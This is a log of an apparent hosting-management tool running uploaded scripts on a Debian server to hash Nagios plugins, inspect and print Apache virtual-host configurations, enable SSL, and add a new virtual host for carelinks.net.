if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-29 12:26:22:
chmod 755 /tmp/pkp876266; /tmp/pkp876266; rm /tmp/pkp876266
2025-12-29 12:26:23:
[php7.4]
php=/usr/bin/php7.4
fpm=
version=7.4.33
2025-12-29 12:26:23:
PUT: /tmp/pkp774769
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 12:26:23:
chmod 755 /tmp/pkp774769; /tmp/pkp774769; rm /tmp/pkp774769
2025-12-29 12:26:23:
(gzipped output)
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_ide_smart)= b1887f5400b49040df7b5291c8a0ca1f
bin(/usr/local/nagios/libexec/check_dns)= d566b6bc0474d7715ab2a47748d2f004
bin(/usr/local/nagios/libexec/check_http)= bdb19124ff17bd97d153ceb801801830
bin(/usr/local/nagios/libexec/check_dig)= 9719560a09bf16ef37819264878109d3
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_udp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_clamd)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_pop)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4f7825ef379f5928e77981623e84215d
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_nt)= 9dda2ffa4b169c5cc9d6ef548679d98e
bin(/usr/local/nagios/libexec/check_time)= 04c9c9137c22baf30c5f16e7bda81a5f
bin(/usr/local/nagios/libexec/check_dhcp)= 543e4f04b55d5213d82e28b0e9a87f8d
bin(/usr/local/nagios/libexec/check_ntp_time)= c4b8c54affdd4cc080f583d080f970aa
bin(/usr/local/nagios/libexec/check_overcr)= 7591e18ef27c944b7988eb2b8e1c1370
bin(/usr/local/nagios/libexec/check_real)= 2cc971d31ad7a1056915d934fe13ee7e
bin(/usr/local/nagios/libexec/check_mrtg)= 713886b8a051817382b80fc5479d79f0
bin(/usr/local/nagios/libexec/check_disk)= 3fca87119fdfad77a6e81fb2f693fcec
bin(/usr/local/nagios/libexec/check_ftp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_uptime)= a01eb9531b3af3de9d68810b1a29b377
bin(/usr/local/nagios/libexec/check_ups)= 4aef1fd61acf2beca1285a068c3d3cf2
bin(/usr/local/nagios/libexec/check_by_ssh)= 8efa99dd39fe056f27f69e053cecf8b3
bin(/usr/local/nagios/libexec/check_ssh)= 84bb599d6ee32959c66d2739b0e1e0e9
bin(/usr/local/nagios/libexec/check_dummy)= e416bf7d3a317de0c92d3bc1e4c74492
bin(/usr/local/nagios/libexec/check_imap)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_smtp)= 7c5f79df00bbc6b2d27eb729d46ae0cd
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_swap)= d9deef826c0ff302721be4318f0ed4cd
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_nagios)= 8f4becf1dc75de6df4418c3f62d63fc8
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_tcp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_ping)= f53769c5d34552ac461c71410a1d9a46
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 4bb8dae9561eaeeae814b4b664cd8b25
bin(/usr/local/nagios/libexec/check_nntp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_icmp)= 20b2066d2db5140b18e93b9e487fed45
bin(/usr/local/nagios/libexec/check_apt)= 858df0e3da45aef78aa83848e964f854
bin(/usr/local/nagios/libexec/check_procs)= 3f875bdff15450053a236cd5f33bb9ef
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_ntp)= 8c9bea5ee6e00a0b016daa7a9da95922
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_load)= 0a3c45360c595eca4c9255acfb29a936
bin(/usr/local/nagios/libexec/check_nwstat)= ad559609531ec9221233e59c87d5d4fe
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_cluster)= e7cc450fbad7b7b6ad777df18ed54093
bin(/usr/local/nagios/libexec/check_users)= 95878aa078c1a1bb5454766d30d80884
2025-12-29 12:26:24:
PUT: /tmp/pkp382980
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-29 12:26:24:
chmod 755 /tmp/pkp382980; /tmp/pkp382980; rm /tmp/pkp382980
2025-12-29 12:26:24:
status=ok
2025-12-29 12:26:24:
PUT: /tmp/pkp330564
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 12:26:25:
chmod 755 /tmp/pkp330564; /tmp/pkp330564; rm /tmp/pkp330564
2025-12-29 12:26:25:
2025-12-29 12:26:25:
PUT: /tmp/pkp966606
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/carelinks_www_net.conf')
show_file('/etc/apache2/sites-available/pjy_earth_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 12:26:26:
chmod 755 /tmp/pkp966606; /tmp/pkp966606; rm /tmp/pkp966606
2025-12-29 12:26:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf 1286
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_www_net.conf 1240
<VirtualHost *:80>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_earth_us.conf 1555
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= 7ef18dca1a3b1f13569fae453f78778d
MD5(/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt)= 9947455267068d3a766bf2e9937f5ac5
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 544e2c1cb0d71870be367c3f4d4617ce
MD5(/etc/apache2/sites-available/carelinks_www_net.conf)= 5e6e0944b6dafbcaf0394b615f310845
MD5(/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt)= 808a7430865d1f5e2fce8404c1055900
MD5(/etc/apache2/sites-available/carelinks_www_org.conf)= c42d1b5eb716282cc771f6ab6b7893df
MD5(/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt)= 6fc116ed582e67cb36028b12058e8acf
MD5(/etc/apache2/sites-available/pjy_earth_us.conf)= 81bd1c382d9aa5e6bcdb01758757c0fb
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 73d67d8e0975cf47a89c7cfcef960cb2
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/carelinks_www_net.conf)= /etc/apache2/sites-available/carelinks_www_net.conf
link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2/sites-available/carelinks_www_org.conf
link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2/sites-available/pjy_earth_us.conf
STDERR:
/tmp/pkp330564:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-29 14:08:04: Establishing a connection
2025-12-29 14:08:58: Establishing a connection
2025-12-29 14:08:58:
PUT: /tmp/pkp531983
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "sites-available/carelinks_new_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 14:08:58:
chmod 755 /tmp/pkp531983; /tmp/pkp531983; rm /tmp/pkp531983
2025-12-29 14:08:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/carelinks_new_net.conf 0
2025-12-29 14:08:58:
PUT: /tmp/pkp739130
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=sites-available/carelinks_new_net.conf
DOCROOT=/var/www/carelinks_new
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/carelinks
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "../sites-available/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf'
echo 'file(/etc/apache2/sites-available/carelinks_new_net.conf= 1'
fi
2025-12-29 14:08:58:
chmod 755 /tmp/pkp739130; /tmp/pkp739130; rm /tmp/pkp739130
2025-12-29 14:08:58:
chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
file(/etc/apache2/sites-available/carelinks_new_net.conf= 1
STDERR:
chown: invalid user: ‘phil:phil’
2025-12-29 14:08:58:
PUT: /tmp/pkp232564
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
